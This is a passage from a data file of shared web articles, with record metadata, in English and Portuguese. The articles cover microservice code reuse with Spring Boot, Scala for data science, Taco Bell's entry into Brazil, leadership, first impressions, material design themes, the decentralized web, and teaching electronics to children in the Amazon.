communicate new stories, story updates, and story deletions to our app. In other words, we can sync Create, Read, Update, and Delete ( CRUD ) operations. And here's a cool thing: we've done this generically enough that a story can be any sort of object we might want. In this post, I've spoken about different versions of the same object. For example, using ""3"", ""3*"", and ""3**"" to refer to the first, second, and third versions of story three. We're also talking about versions when we talk about the deleted and non-deleted version of story ""4"". This concept, versions, is very important. So we'll take a closer look at that in post three of this three part miniseries. If you enjoyed this, please comment below or on Twitter . Thanks to Noah Slater , tef , Katharina Hößel, Jake Archibald , and Emoji Thought Leader Charlotte for their reviews ❤",en
1465999405,CONTENT SHARED,-873780453963615794,5206835909720479405,-7732450025713573741,,,,HTML,http://www.infomoney.com.br/negocios/grandes-empresas/noticia/5138272/taco-bell-chega-brasil-segundo-semestre-desse-ano,Taco Bell chega ao Brasil no segundo semestre desse ano,"SÃO PAULO - O Taco Bell, maior rede de especializada em comida mexicana do mundo chegará ao ainda em 2016. Serão investidos R$ 100 milhões para a abertura das primeiras 25 unidades, de acordo com um comunicado enviado à imprensa nesta segunda-feira. Para viabilizar a abertura, a rede fechou um acordo com a Sforza, private equity familiar pertencente ao empresário Carlos Wizard Martins, empresário fundador do grupo Multi Holding. A Sforza já atua no varejo por meio do Mundo Verde, maior rede especializada em produtos naturais da América Latina, e da Ronaldo Academy, rede de de futebol. ""A Taco Bell é uma reconhecida em vários países e que conta com muitos fãs no Brasil. Além disso, o setor de fast food tem uma média de crescimento de 12% ao ano no país, mesmo em um cenário econômico adverso. Queremos replicar aqui a mesma posição de que a rede tem nos Estados Unidos e também em outros países"", afirma Wizard no texto que chegou à imprensa. As operações das primeiras lojas, que chegarão em no próximo semestre, estão sendo liderados pelo Michel Chaim. O projeto contempla a abertura de restaurantes em shoppings e também de rua, com tamanho entre 60 m² e 120 m². ""O Taco Bell Brasil oferecerá a maioria dos produtos que são sucesso nos Estados Unidos, mas passará por uma leve adaptação para a cultura alimentar do brasileiro"", diz o comunicado, que não especifica mais detalhes dessa mudança. A rede Taco Bell tem aproximadamente 7 mil lojas em todo o planeta, sendo 6,5 mil nos EUA.",pt
1466000036,CONTENT SHARED,2317969739828155334,7645894863578715801,-5482654907271855813,,,,HTML,http://blog.scottlogic.com/2016/06/13/code-reuse-in-microservices-architecture.html,Code reuse in microservices architecture - with Spring Boot,"In most microservice architectures, there are many opportunities and temptations for sharing code. In this post I will give advice based on my experience on when it should be avoided and when code reuse is acceptable. The points will be illustrated with the help of an example Spring Boot project available on Github . Before talking about sharing code and what it implies, let's first look at what microservice architectures are trying to achieve. The main benefits for implementing microservices are: Better scaling - different parts of the system can be scaled independently High decoupling between different parts of the system - this is always desired, but easier to achieve with microservices Improved resilience - services can fail independently Freedom to choose technologies - each service could be build using the most appropriate technology Improved reusability of components - services (even deployed) can be shared across projects Many more depending on the specific architecture, or the problem being solved Clearly, many of these benefits can produce a better system as well as make developers jobs easier and more rewarding. These could be discussed and debated further, but this is not the point of this article, so lets just assume that we agree here (and experience from the likes of Netflix and Nginx seems to strongly support these benefits). As with any architecture choice, there are also disadvantages and difficulties that have to be considered. The more important ones include: Increased complexity of deployment - rather than one or a few deployments, you may have to deal with tens or more More integration code - often the services will have to talk to each other; getting this right is very important and deserves its own blog post Dealing with the business domain distributed across the system will require a lot of copied code - or maybe it won't? Here we reach the point where we face one of the most common question that many teams starting their work on microservices face. Based on the goals of microservices and common development best practices we arrive at the problem: ""We want to have highly decoupled services, that don't share code and dependencies. This means that every time we consume some service, we have to write the classes that deal with the response. Is DRY (Don't repeat yourself) not important any more? What should we do?"". It is actually a good thing if the team realises the issues and starts looking for solution. There are two anti-patterns that can come up here easily: Let's make services depend on one another! Well, this means that high decoupling is just a thing of the past (we clearly fail here) and that freedom of chasing technology goes as well- it is easy for logic to be all over the place and for the domain to grow more complicated than it should. Let's just copy paste all the code! This is actually not as bad, as it at least preserves decoupling and naturally stops the domain from having too much logic. Client's can't depend on the code of the service. Let's be honest here though- no one wants to copy paste the same classes all over the place and do a lot of boilerplate every time you want to consume that pesky user-profile service. DRY is such a popular development mantra for a reason! By stating clearly the goals of the architecture and explaining the problem well, the solution seems to suggests itself. If the service code should be completely separate, but we need to consume possibly complicated responses in the clients- clients should write their own libraries for consuming the service. By using client-libraries for consuming the service the following benefits are achieved: Service is fully decoupled from the clients and no services depend on one another- the library is separate and client specific. It can be even technology specific if we have mix of technologies Releasing new version of the service is not coupled with clients- they may not even need to know if the backward compatibility is still there, it is the clients who maintain the library The clients are now DRY - no needless code is copy pasted It is quicker to integrate with the service - this is achieved without losing any of the microservices benefits This solution is not something entirely new- it was successfully implemented in Scott Logic projects, is recommended in the ""Building Microservices"" by Sam Newman ( highly recommended ) and similar ideas can be seen in many successful microservices architectures. Here, we are mainly talking about the code reuse for dealing with a business domain, but similar approach works for code that is used for general connectivity and communication, as long as it does not violate explained here principles (this is what Netflix internal client libraries are more focused on). Another question that can be asked is- should we worry about coupling domain objects and connectivity within client libraries. As with the answer to the main question, the most important consideration is the impact on the overall architecture. If we decide that it benefits our productivity to include the connectivity code in client libraries, it needs to be ensured that this does not introduce coupling between the client services. Given that the connectivity in these architecture usually happens via simple REST call, or a message queue, I would discourage including this kind of code in the client library, as it does not add enough benefits for the extra dependency it introduces. If the connectivity code has something very special and complicated about it- for example client certificates needed for making SOAP requests, then a case for additional library may be there. If you decide to go that route, always make it optional to use the client library, rather than mandatory. Client services should have full ownership of that code (there should be no expectation for the service provider to always update relevant client libraries). After explaining the solution, the best way to clearly demonstrate the point for the developers is with code. This is also a good excuse to further promote my current favourite microservice library - Spring Boot . The whole example can be downloaded from a Github repository created for this blog post . Spring Boot lets you start developing microservices rapidly, and I really mean it. If you think that the Dropwizard introduction was fast, then be prepared for even more convenience with Spring Boot. In this example we will develop very simple User service that will be returning mocked User JSON object. This service will be further used by a notification service and a dashboard service, effectively providing different views on the data and both needing to understand the User object. User Service The UserServiceApplication will contain the main method. Since this is Spring Boot, running it will start an embedded Tomcat server: This really could not have been simpler! Spring Boot is a very opinionated framework, so if we are happy with the defaults, there is really not much typing at all. One thing that will need changing is the default port though. Let's see how this is done with the application.properties file: Simple and elegant. If you ever wrote a REST service in Java you probably know that you need a Controller . If this is your first time doing this- don't worry, Spring Boot makes writing controllers really simple: This will simply enable users to make requests to the endpoint /user?id= where id can be set for the user that is required. Seeing how simple these Classes are, surely the logic needs to be in the actual User class. This class will generate the stub data and will be serialised by Jackson (Java JSON library): This is the whole service required for producing the User JSON. Since this is the first Spring Boot service presented, it is worth to have a look at the .pom file: Calling the service with an id value 10 we can see the example JSON output: Client Library Let's say that we want to have two services making use of this API. Notification and Dashboard service. In the real world example, the User object could have been much more complicated and we could have more than two clients. The client library is a simple project called user-client-libs and it consists of a single class: As you can see, this class is simpler- it does not have the details for mocking Users, nor does it include the friends list that is deprecated in the original class. We are hiding this details from the clients. This lightweight implementation will also ignore any new fields that may be returned by the API. Of course in a real life example, the client library could be much more complicated, saving significant time lost in boilerplate and understanding of the relationships between the fields. Clients This example will provide implementation of two separate client services. One for producing the ""user dashboard"""" and one for producing a ""list of notifications"". You can think of them as a purpose build micro services for dealing with UI components. This is the controller for the dashboard service: And this this is the controller for the notification service: As you can see both clients are very simple and the connection between them and the service is trivial. This of course requires adding the dependency in the .pom files for both services The only thing left in this example is to start all three services on the ports 9001 , 9002 and 9003 and look at the outputs: Dashboard output: Notifications output: I believe that this design solves most common problems with reusing code in microservices architecture. It is simple to understand, avoids many drawbacks of other approaches and makes developers life easier. What is more- this is a solution that was tried in a real life projects and it proved itself. Spring Boot example really showcases the simplicity of this approach and hopefully shows that microservices are actually easier than many developers think. If you want to explore further, check out my example project from Github and see if you can take it further! Good luck with your microservices development!",en
1466005348,CONTENT SHARED,1592600391233958243,3609194402293569455,-5431306901276377931,,,,HTML,http://www.inc.com/jeff-haden/harvard-psychologist-says-this-trait-matters-most-10-ways-to-make-a-great-first-.html,A Harvard Psychologist Says This Trait Matters Most: 10 Ways to Make a Great First Impression,"Say you meet a new potential customer, a potential employer, or anyone with whom you want to establish a business relationship . Which matters more: Showing that you're skilled, experienced, and capable, or Showing that you're trustworthy and likable? Many people assume that skill, expertise, experience, and competence matter most. After all, if you're going to hire me or do business with me, you need to know I have the talent to come through, right? It's natural to assume you should establish your credentials as quickly as possible. Natural, but wrong. According to Amy Cuddy, how people initially judge you has little to do with whether you seem skilled or competent. Instead, people subconsciously ask themselves one question when they first meet you: ""Can I trust you?"" According to Cuddy, trustworthiness (meaning warmth and likability) is everything. ""From an evolutionary perspective,"" she writes in her book , ""it is more crucial to our survival to know whether a person deserves our trust."" Her research shows that. Of course natural likability can also quickly lose its impact, especially when there's no substance beneath the surface glow. That's where talent comes in: Once you've shown you're trustworthy, then you can prove you're talented. In short, whip out your CV too soon and you may be wasting your time -- first you need to show that you're someone who can build and maintain great relationships, consistently influence (in a good way) the people around you, and make people feel better about themselves. Those are the kind of people we all like to be around, and want to be more like . So how do you do that? How do you come across as more likable and trustworthy -- in a genuine and authentic way? 1. Listen a lot more than you talk. Ask questions. Maintain eye contact. Smile. Frown. Nod. Respond -- not so much verbally, but nonverbally. That's all it takes to show the other person he or she is important. Then when you do speak, don't offer advice unless you're asked. Listening shows you care a lot more than offering advice does, because when you offer advice, in most cases, you make the conversation about you. Don't believe me? Who is ""Here's what I would do ..."" about: you or the other person? Only speak when you have something important to say -- and always define important as what matters to the other person, not to you. 2. Shift the spotlight to others. No one receives enough praise. No one. So start by telling people what they did well. Wait, you say you don't know what they did well? Shame on you -- it's your job to know. It's your job to find out ahead of time. Not only will people appreciate your praise, they'll appreciate the fact you care enough to pay attention to what they do. And then they'll feel a little more accomplished and a lot more important, and they'll love you for making them feel that way. 3. Never practice selective hearing. Some people -- I guarantee you know people like this -- are incapable of hearing anything said by someone they feel is somehow beneath them. Sure, you speak to them, but that particular falling tree doesn't make a sound in the forest, because there's no one actually listening. People who make a great first impression listen closely to everyone, and they make all of us, regardless of our position or social status or ""level,"" feel like we have something in common with them. Because we do. We're all human. Don't check your phone. Don't glance at your monitor. Don't focus on anything else, even for a moment. You can never connect with others if you're busy connecting with your stuff, too. Give the gift of your full attention. That's a gift few people give. That gift alone will make others want to be around you and remember you. 5. Give before you receive -- and assume you will never receive. Never think about what you can get. Focus on what you can provide. Giving is the only way to establish a real connection and relationship. Focus, even in part and even for a moment, on what you can get out of the other person, and you show that the only person who really matters is you. 6. Don't act self-important ... The only people who are impressed by your stuffy, pretentious, self-important self are other stuffy, pretentious, self-important people. The rest of us aren't impressed. We're irritated, put off, and uncomfortable. And we hate when you walk in the room. 7. ... Because you realize other people are more important. You already know what you know. You know your opinions. You know your perspectives and points of view. All that isn't important because it's already yours. You can't learn anything from yourself. But you don't know what other people know, and everyone, no matter who he or she is, knows things you don't know. That makes other people a lot more important than you -- because you can learn from them. The words you use impact the attitude of others. For example, you don't have to go to a meeting; you get to go meet with other people. You don't have to create a presentation for a new client; you get to share cool stuff with other people. You don't have to go to the gym; you get to work out and improve your health and fitness. You don't have to interview job candidates; you get to select a great person to join your team. We all want to associate with happy, enthusiastic, fulfilled people. The words you choose can help other people feel better about themselves -- and make you feel better about yourself, too. 9. Don't discuss the failings of others ... Granted, we all like hearing a little gossip. We all like hearing a little dirt. The problem is, we don't necessarily like -- and we definitely don't respect -- the people who dish that dirt. Don't laugh at other people. When you do, the people around you wonder if you sometimes laugh at them. 10. ... But readily admit your own failings. Incredibly successful people are often assumed to have charisma simply because they're successful. Their success seems to create a halo effect, almost like a glow. The key word is seem. You don't have to be incredibly successful to make a great first impression. Scratch the shiny surface, and many successful people have all the charisma of a rock. But you do have to be incredibly genuine to be remarkably charismatic. Be humble. Share your screwups. Admit your mistakes. Be the cautionary tale. And laugh at yourself. While you should never laugh at other people, you should always laugh at yourself. People won't laugh at you. People will laugh with you. They'll like you better for it -- and they'll want to be around you a lot more.",en
1466005866,CONTENT SHARED,-3886927790136130174,-5380862725077089346,42993041282457315,,,,HTML,https://www.linkedin.com/pulse/three-cultures-continents-lessons-leadership-eric-dube,"Three cultures, three continents and three lessons on leadership","Author: Eric M. Dube, Ph.D., Senior Vice President and Head, Global Respiratory Franchise, GSK We all know the standard 100-day leadership protocol - those first months are about setting the agenda, developing relationships and starting to inspire. Yet those halcyon days also provide another opportunity. To make mistakes - especially when confronted by a new set of cultural markers. When it comes to leadership, my travels have helped me understand that one size does not fit all. But it's more than that. Listening, watching and analysing are as crucial in those first 100 days as leading. Because a winning stratagem in one country might be your downfall in another. After leading GSK's oncology business and the Strategy and Planning function in the US, I was offered the chance to develop my skills and the respiratory business in Japan; I couldn't have been more thrilled. As someone who prided themselves on getting things done on time with a calm, determined confidence, I thought: 'Great, they're going to love me in Japan!' Yet I hadn't anticipated how daunting those first few months would become. Some of my Japanese colleagues viewed that way of results-driven way of working as too aggressively deadline-focused. In Japan, new leaders - especially outsiders - carry more influence if humility trumps overt demonstrations of confidence. Inevitably, subtleties were missed and cultural differences underestimated. But I learned. Fast. And the following two years were among the most rewarding of my working and personal life. The experience demonstrated the dangers of taking a preferred style of leadership and naively assuming it'll work in another milieu. Today, I sit in London as head of GSK's Global Respiratory Franchise, and reflect on how my colleagues in three vastly different environments have taught me an essential truth about leadership. In a globalised arena, successful strategies are built upon the kind of balance that often only comes from experiencing different cultures from the inside, with a fresh pair of eyes. Leaders need wisdom and honesty, too. I've been reminded of those attributes by the setting of this year's G7 Summit of world leaders in the beautiful city of Shima in Mie Prefecture. It's one of Japanese Prime Minister Shinzo Abe's favourite cities and every New Year he attends a special ceremony at the city's Ise Shrine, which is rumoured to house a sacred mirror, Yata no Kagami , representing wisdom or honesty, depending on who you read. Such workplace behaviours are universal. In Japan -as I learnt - workplace behaviours can come with added nuances that take time to adapt to. For instance, there is a more rigid hierarchical structure there in which business leaders are expected to make decisions. Of course collaboration is essential but decisions are solitary. It's known as Hou-Ren-Sou , each phonetic character representing three pillars - reporting, informing and consulting. Following those principles builds trust, strengthens relationships and empowers teams. I also came to rely upon another Japanese concept - Nemawashi - which loosely translates as binding the roots of a tree. Before any major decision is taken or change implemented, the advice of key people is sought and the feedback taken seriously. A leader can't lead without the team's input. Having travelled from one leadership extreme to another, I brought both sides to Europe, where American confidence and Japanese humility are wrapped up in British patience. Or impatient patience as I call it - the ability to get things done whilst never losing composure. Here, we assess problems before trying to solve them - the opposite of America's can-do, energetically-positive, clap-til-it-hurts approach. Which has its moments but we like to ration them in London! Here in the UK, leaders and their teams seek solutions with a methodical process - often at great speed - and yet still cognisant of change. There's an agile pragmatism that underlies our winning strategies. Striving to win, striving to collaborate and striving for solutions. Three cultures, three continents and three lessons - a learning process that is without end. And all these experiences helped me understand that, above all, we need to inspire teams' belief. In themselves, in their work and in the leader too. There was a time when a business would attempt to foster such belief by imposing its will and methodology in whatever country it operated in. Now, globalisation means that if companies and executives want to be catalysts for decision-making, they need to learn from within different markets. Because decisions aren't simply about getting things done. They're about trying to get into people's hearts, to understand, challenge and inspire them. And to do so with wisdom and honesty.",en
1466007477,CONTENT SHARED,18930987176089166,-1578287561410088674,241349347866220587,,,,HTML,http://materialdesignblog.com/10-multipurpose-material-design-themes-to-make-your-projects-10-times-better/,10 Multipurpose Material Design Themes to Make Your Projects 10 Times Better,"The Web trends tend to change with a lightning speed, and there are 2 latest trends which we are going to combine in this blog post. The first one is a material design trend and the second one is a multipurpose theme usage trend. Thanks to Google and their launch of the material design as a concept, it became one of the leading trends in the last years. Not surprisingly, as it definitely has its benefits - it improves user engagement, makes a better UI/UX, it's cost effective etc. Nevertheless, at the very launch of it, hundreds of people disagreed with the new trend as it eliminated any trace of skeuomorphism and any resemblance of the design to the live objects. Artificially plain colors were unusual to a viewer's eye. Meanwhile, hundreds of designers' faces turned towards the new material design trend, feeling a huge potential in it. That was the dawn of material design as a concept when hundreds of material design websites appeared. Right now there are dozens of beautiful material design templates and free material design resources available for any project related to material design. At the same time there are separate templates for blogs, online shops, agency websites and so on. However, there is a different option - using a multipurpose theme . And here comes the second trend! What are the benefits of using multipurpose themes? Firstly, it lets you choose the design which you like. Secondly, even if you decide to alter the design when your website is already made, normally you'd have to change horses in midstream and change the template itself, but not if you have a multipurpose template. You may simply switch the design and enjoy the result. On top of all that, multipurpose templates fit almost all project types - eCommerce, blogs, agencies etc. In this blog post we've gathered 10 greatest multipurpose material design templates from different CMS (the best ones among WordPress, PrestaShop and the best of HTML). Please note that we don't name the templates of a specific type (like WordPress themes or Joomla templates only), but we name the best multipurpose templates of many CMS which you may use for your project. Monstroid is more than just a WordPress theme, it rather reminds us of a WordPress theme club. Being a multipurpose template, it lets you change the design, move the design items, customize it up to your needs, while you have 40+ of child themes just inside of it. This is obviously very handy to most of the customers, as Monstroid can transform into a blog, an agency or a portfolio website, and, on top of that, it can also become an eCommerce store. That is pretty impressive. Intense if great multipurpose HTML template which also has its home skins and child themes. How do you benefit from it? You can choose either a totally different design of the whole website, or pick a home page design, leaving the rest as it is. There's been a full review of Intense published recently , by the way. Wegy is King among Joomla templates. It involves advanced theme options, sliced PSD, alternative module layouts, it has a neat modern design which makes it perfect for many types of projects. Pay attention to the drop-down menu which has a banner, that usually raises a website conversion a lot. Styler is one of the most downloadable Prestashop themes. When creating a website, you may choose a home, product and product listing pages which you like. It's a decent option for an eCommerce website, build on Prestashop. And, just like all usual themes, it has all the common features like social media buttons, hover effects, Parallax effect and a blog. Get your customers hooked at first sight! Good material design HTML templates are not hard to find, however, good multipurpose material design HTML templates are. Take a look at this template which is crafted for a transportation agency or any other project which could benefit from clean design, Parallax effect, Google maps, Google fonts in it and so on. Visual presentation of the data and bright colors will attract the visitors and gain customers for the business. Modicate Multipurpose Website Template Undoubtedly, material design makes some things easier. For instance, the widgets or the categories sections look much cleaner when performed in material design. Modicate is an example of how a corporate material design HTML template may look. See for yourself, check out the design options, choose the ones you like and keep in mind that this is how your project could look like. Do you like the overall impression? Then maybe it's the one! Construction Multipurpose Website Template Any engineering-related project like construction, for instance, need to look trustworthy in colors, in design, even in an intuitive layout (no one who'd experience any problems with navigation on the website would entrust something to this company in reality). Take a look at the widgets, they are simply irresistible to click on. Bakery Multipurpose Website Template Testimonials are one of those sure ways to boost conversion of the website. This material design HTML template has them. Moreover, its features like contact form, material design social media buttons, back-to-top buttons and seamless image slider make the design attractive, welcoming and cozy, which are is perfect description of a bakery website. Moderno Marketing Agency Responsive Website Template It's a multipurpose material design HTML template for corporate projects which may become a decent presentation of an online business presence. Thanks to its responsiveness, it'll look well on any screen. Clean code, a grid layout, Parallax effect, special widgets with hover effects will win the website a competitive place in the professional niche. Fashion Clothes Store Magento Theme An impressive design is vital for any online store as it is one of those factors which influence the conversion. This is the template which could become a great basis for a Magento online store. The material design elements implied in it improve the user experience. Subconsciously, the customers will compare your online store to the other which they have visited, and a design like this will make your website be one of the top websites they have been to. If you liked the roundup please don't forget to spread a word about it. And if you didn't find the design you were looking for remember that these are multipurpose themes with tons of designs and skins built in them. Just follow any Demo link and you'll see how many pages on different topics does each of this themes have! Don't forget to share and good luck with your future projects!",en
1466011484,CONTENT SHARED,-5363263367015469934,-1443636648652872475,6340331642204025925,,,,HTML,http://techcrunch.com/2016/06/14/scala-is-the-new-golden-child/,Scala is the new golden child,"Tooling in the data science community evolves quickly, and picking the right tool for a job - not to mention a career - can often be divisive. Which tools should you try to master? What is the proper balance between difficulty, relevance and potential? If it's not already, Scala deserves a place at or near the top of your to-learn list - something I saw definitive evidence of last fall when I was coming off a post-doc position and considering leaving academia for the tech industry. At the beginning of my job search, I decided to cast my net wide and speak with a large number of companies before making any kind of career decision. My original idea was to work my way through the MIT Technology Review's list of the 50 most innovative companies of 2015 and apply for data scientist positions at each one. I ended up speaking with 54 companies and doing technical interviews with 24 of them. The tech screenings I did generally lasted an hour and involved two to four coding problems, which I implemented in a REPL while the interviewer watched. Probability and statistics problems were either reserved for the on-site interview or dispensed with entirely (though I may have gotten a pass on this because I have a PhD). With a few exceptions, Python was clearly frowned upon. Of course, no one ever explicitly told me I couldn't use Python to solve a problem. The coding environments always had a Python interpreter, but the interviewers would usually suggest that I use ""a compiled language"" (read: Java) and they would pose data structure problems that are hard to solve in Python. For example, one problem I saw a lot was: Keep track of the k-th largest element in a stream of integers. This is a classic heap problem. However, Python doesn't have a proper collections library, so to solve it I would try to import a specialized module like heapq, which usually wasn't included in the interview environments. This made for an awkward situation. Even when I definitively solved a problem, the feedback was lukewarm. You can use a wrench to hammer nails if that's all you've got. But you'd be better off spending some time learning how to use a hammer. The effect was notable enough that after my first week, I decided to try doing my tech screens in Scala. I did this contrary to the advice of several friends, who suggested that I suck it up and use Java. I'd been playing around with a Scala side project ( PageRanking Soundcloud ) and I strongly prefer Scala to Java, especially in a live coding context. I figured that since I wasn't trying to get a job immediately, I could afford to disqualify myself a few times. What I found surprised me. First, the interviewers actually encouraged me to use Scala even when they weren't familiar with the language. They would trust the REPL to audit my code and use the time to address more general points. Second, the tenor of the screenings changed entirely - they became distinctly more upbeat and discursive. The screeners would get chatty about programming languages and later follow me on Twitter. I began to enjoy the process. I added Scala and Spark to my LinkedIn and AngelList profiles. This resulted in a distinct uptick in the number of inbound interest I was receiving, especially from recruiters. The technical screens became more Scala-centric. At first, I thought the effect was an example of Paul Graham's famous point about programming languages (which, interestingly, was referring to Python back in 2004 when he wrote this): The language to learn, if you want to get a good job, is a language that people don't learn merely to get a job. There is plenty of evidence that developer interest in Scala is on the rise. Stack Overflow's recent developer survey listed Scala as one of the most loved languages: However, in many cases, the more proximal reason for their interest turned out to be Spark, which has recently surpassed Hadoop to claim the title of most active open-source data processing project. Spark is essentially distributed Scala; it uses Scala-esque ideas (closures, immutability, lazy evaluation, etc.) throughout. The Java and Python APIs are semantically quite far removed from the core design innovations of the system. Moreover, unlike Java, Scala makes it painless to experiment with Spark. Vladimir Rokhlin once said that your comfort level with your toolchain is the major determining factor in your ability to debug code. The harder it is to check something, the less likely you are to check it. The same goes for exploratory data analysis and modeling: It is very difficult to take a rapid, iterative approach to analyzing and modeling terabyte- and petabyte-scale datasets using Hadoop. On the other hand, the productivity boost you get from working in Spark using the native implementation language is difficult to overstate. You can use the same API - and often the same code - for small tests and large jobs, for batched data or streaming data, for ad hoc analyses or production machine learning models. Tools [for data scientists] come and go relatively quickly in our field; ideas less so. Scala and Spark will also teach you useful abstractions - particularly in regards to modern functional programming, the most powerful programming paradigm in general-purpose distributed data analysis. And in an era of increasing parallelism and abstraction, failing to understand these will put you at a competitive disadvantage. Conversely, if you can wrap your head around relatively deep ideas like monads, you will be well-situated to be solving hard problems in distributed data science for many years to come. You could, in theory, learn these abstractions in Python or R - they are by no means Scala-specific. For example, Hadley Wickham (chief scientist at RStudio and nerve center of the R data science community) has lately taken to experimenting with monads in R . But in practice you probably wouldn't, because monads and other modern functional abstractions are practically non-existent in Python or R - two languages that were not designed for scalability either in regards to SLOC or bytes processed. By contrast, in order to get anything significant done in Scala, you will be forced to absorb a whole host of ideas that are going to help you professionally for years to come, even if you move on to other languages. This helps you avoid getting stuck in local optima - you can use a wrench to hammer nails if that's all you've got. But you'd be better off spending some time learning how to use a hammer. This is a good educational strategy - it's essentially the same one that MIT used when teaching their introductory computer science class in Scheme. Educational strategies like this are important for data scientists because tools come and go relatively quickly in our field; ideas less so. Therefore, the tools you want to learn are the ones that are rich vessels for forward-thinking ideas. Scala and Spark are precisely that; furthermore, they are in a sweet spot now where they have been thoroughly de-risked as best-in-class industrial tools, but are not yet dominant. This actually does create an applicant's market - Scala and Spark are in high demand in the U.S. , both generally and in data science roles specifically. In the end, my Scala knowledge landed me at a startup in Los Angeles where I use it, in addition to Spark, on a daily basis. And I'm not alone: Scala is already in heavy industrial use by the likes of Netflix, LinkedIn and Twitter, and it's being embraced by more businesses every day . So if you're looking to grow your knowledge and job prospects, now is a good time to pick up some new tools - ones designed for scalability. Featured Image: ShutterWorx/Getty Images (IMAGE HAS BEEN MODIFIED)",en
1466012967,CONTENT SHARED,-9019233957195913605,-9016528795238256703,8012540432966887758,,,,HTML,http://observatoriodaimprensa.com.br/curadoria-de-noticias/berners-lee-quer-criar-outra-web/,Berners-Lee quer criar outra Web,"Tim Berners-Lee, o cientista que há 27 anos criou a World Wide Web, mais conhecida como apenas Web, pretende desenvolver um novo sistema de interação entre computadores para neutralizar o controle governamental e privado sobre as comunicações entre indivíduos. Berners-Lee reuniu em San Francisco, na Califórnia, um grupo de especialistas em computação para tentar criar uma rede menos sujeita a violações da privacidade e dê aos usuários maior controle sobre seus dados pessoais. Os detalhes sobre o que o grupo de cientistas está pesquisando ainda são pouco conhecidos, mas Lee afirmou que o trabalho parte dos estudos sobre a infraestrutura de programação digital da moeda eletrônica Bitcoin, do site Wikileaks e os programas de troca gratuita de musicas. O projeto foi batizado de Web Descentralizada e foi discutido no Decentralized Web Summit , na segunda semana de junho de 2016. A grande preocupação do grupo de cientistas da Web Descentralizada é o aumento do controle de redes sociais como o Facebook , do sistema de buscas Google e o de comércio eletrônico da Amazon sobre o uso da Web. Mais detalhes na reportagem The Web's Creator Looks to Reinvent It (acesso por meio de cadastramento grátis) Todos os comentários",pt
1466013280,CONTENT SHARED,1854874463930846880,534764222466712491,7914515688450890484,,,,HTML,https://mulheresnacomputacao.com/2016/06/14/o-dia-em-que-tive-mais-medo-de-estar-errada/,O dia em que tive mais medo de estar errada.,"Passei meu sábado em Belém do Pará, mais especificamente na Ilha de Combú na Floresta Amazônica. E eu tive um dos dias mais incríveis da minha vida. Mas foi também o dia em que eu tive muito muito medo. Medo de estar errada. Muito errada. Vou contar a história inteira. E vou voltar lá pra minha primeira infância. Desde pequena eu sou bem curiosa e acho que não sabia, mas isso era sede de mundo. Sede de saber o que tem em cada canto desse planeta. Entender como tudo funciona e isso me fez estar onde eu estou. Arrumei uma aliada muito boa lá pela metade da minha jornada, que sem ela não seria possível: a tecnologia. Achei respostas. Decidi que faria isso da vida. Mostrar essa aliada pra todo mundo. Ser a representante da tecnologia que eu conhecia, que me libertou e não que ameaçava. Ela não precisava ser só minha e no último sábado, lá pelas seis da manhã quando abri os olhos eu estava bastante confiante nisso apesar do sono, estava vindo de uma avalanche de novas informações, passado por cinco capitais em seis dias....enfim estava tudo bem bem, até que... Entrei em um barco, e partimos pra uma ilha, a Ilha de Combu... Tinham várias pessoas no barco , voluntários, minha equipe, pessoal da Intel, time do Barco Hacker, enfim...só gente do bem! Tomo mundo tagarelando a viagem toda. As palafitas, a navegação, a falta de conexão estável, a falta de tomadas era esperado até certo ponto, mas quando vimos 17 crianças de 3 a 12 anos que conheciam a energia elétrica apenas à 4 anos todos nos calamos. Não tinha a menor ideia do que fazer! Tive um minuto de branco! Todas as minhas crenças passaram em alguns segundos na minha frente! Será que é tecnologia a resposta pra elas? Será que um dia elas iam conseguir aproveitar aquele conhecimento? Será que elas vão entender? Será que é isso mesmo? Será que é pra todo mundo mesmo? Será? Será? Questionei tudo e por pouco não desisti...quase que fiquei só ali conversando e disfarçando...coloquei todo mundo em roda pra ganhar tempo e pensar no que eu faria. Olhei na carinha de cada um e todos estavam vidrados em mim, no meu conhecimento, no que eu estava falando...tudo isso enquanto duas menininhas se empurravam pra ver quem sentava do meu lado. Crianças! Como todas as outras...ABERTAS! CURIOSAS! SEM MEDO! Aquela cena que era trivial, serviu de faísca e começou a transformação! Minha cabeça estava sempre um pensamento na frente tentando traduzir pra eles o que era um microcontrolador, uma protoboard, um resistor...de um jeito que a lição final fosse: EU SOU CAPAZ! FUI EU QUE FIZ ISSO! ISSO É TECNOLOGIA E EU NÃO PRECISO TER MEDO. Sentamos no chão, perdemos o medo da placa, montamos circuito, programamos, todos, juntos, iguais! Conforme iam conseguindo acender as luzinhas (LEDs) e escolher o intervalo que quisessem todos vibravam, riam, gritavam, comemoravam...fiquei maravilhada com a rapidez com que eles se empoderaram com aquele conhecimento! Eu já estava querendo chorar e gritar pro mundo que estava dando certo, que tecnologia empoderava qualquer um, independento do lugar do mundo que estivéssemos! Mas ainda tinha a prova final...eles tinham 15 minutos pra pensar e desenhar soluções usando aquilo que eles tinham visto para os problemas da comunidade, para quê eles usariam aquele aprendizado? Será que eles iam conseguir aplicar? Eu precisava me segurar mais um pouco! Me controlar. Eles ficaram maravilhados com as canetinhas e réguas, muitos não tinham uma. Deixamos várias de presente. Começaram as apresentações, eles estavam com vergonha, não sabiam se estavam certos, se eram bons...ai se eles soubessem! Não se envergonhariam nem por um segundo...muito pelo contrário! As ideias eram incríveis...resolviam problemas reais, problemas deles com uma simplicidade admirável. Vou contar a que mais me chamou atenção: um braço extensível com uma plaquinha que coleta informações como cor do açaí e informa se ele está maduro ou não, evitando que alguém tenha que subir no pé, num primeiro momento parece meio superficial, até que eles foram me mostrar como é o processo...uma pessoa com uma folha amarrando os pés tem que subir uns 15 metros, correndo o risco de cair ou a árvore quebrar só pra ver se já está na hora de colher....pra alguém conseguir fazer isso tem que ""calejar"" o pé e a mão na raça...um problema que não está sendo resolvido! Isso é problema de verdade! Isso é solução de impacto! Quando os pitches acabaram e eles foram comer o lanche, coloquei meu óculos escuros e chorei! Chorei! Chorei porque eles estão apartados, eles estão isolados, excluídos, eles não estão tendo os problemas resolvidos... Chorei porque não tem preço ver a expansão dos sonhos de crianças. Os horizontes mudam quando um LED acende! E basta um! Ensinar tecnologia para eles é muito mais que passar conhecimento técnico, é mostrar que eles podem! Depois dessa eu nunca mais vou sentir medo! E se sentir...vou com medo mesmo! Para quem quiser saber mais sobre tudo que a gente vem fazendo dá uma olhada no Mastertech , na Ponte21 e na Maratona Maker ❤ Beijos! PS.: Comentem aí como tecnologia mudou a vida de vocês!",pt
